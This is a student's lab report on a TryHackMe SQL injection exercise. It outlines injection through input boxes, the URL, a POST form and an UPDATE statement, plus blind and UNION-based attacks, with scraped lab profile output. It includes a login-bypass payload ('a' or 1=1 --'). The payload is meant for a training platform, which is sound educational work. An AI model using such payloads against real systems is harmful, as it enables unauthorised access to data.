

NAME: PRANATHEE H
ROLL NO.:241901078

EXPERIMENT:4

SQL INJECTION LAB

AIM:

To perform SQL Injection Lab in TryHackMe platform to exploit vulnerabilities.

ALGORITHM:

1. Access the SQL Injection Lab in TryHackMe platform.
2. Click Start AttackBox to run instance of kali linuc distribution.
3. Perform SQL injection attacks on following-
 - a)Input Box Non-String
 - b)Input Box String
 - c)URL Injection
 - d)POST Injection
 - e)UPDATE Statement.
4. Perform broken authentication of login forms with blind SQL injection to extract admin password.
5. Perfrom UNION-based SQL injection and exploit the funtion and retrieve the flag.

OUTPUT:

Profile Logout SQL Injection 1: Input Box Non-String

Francois's Profile	
Flag	THM{[REDACTED]}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	

Log in

a' or 1=1 --
<input type="radio"/>
Log in

Profile Logout SQL Injection 2: Input Box String

Francois's Profile	
Flag	THM{[REDACTED]}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

Profile Logout SQL Injection 4: POST Injection

Francois's Profile	
Flag	THM{[REDACTED]}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

Home Edit Profile Logout SQL Injection 5: UPDATE Statement

Francois's Profile	
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

RESULT:

Thus, the variety exploits were performed using SQL Injection Attack.

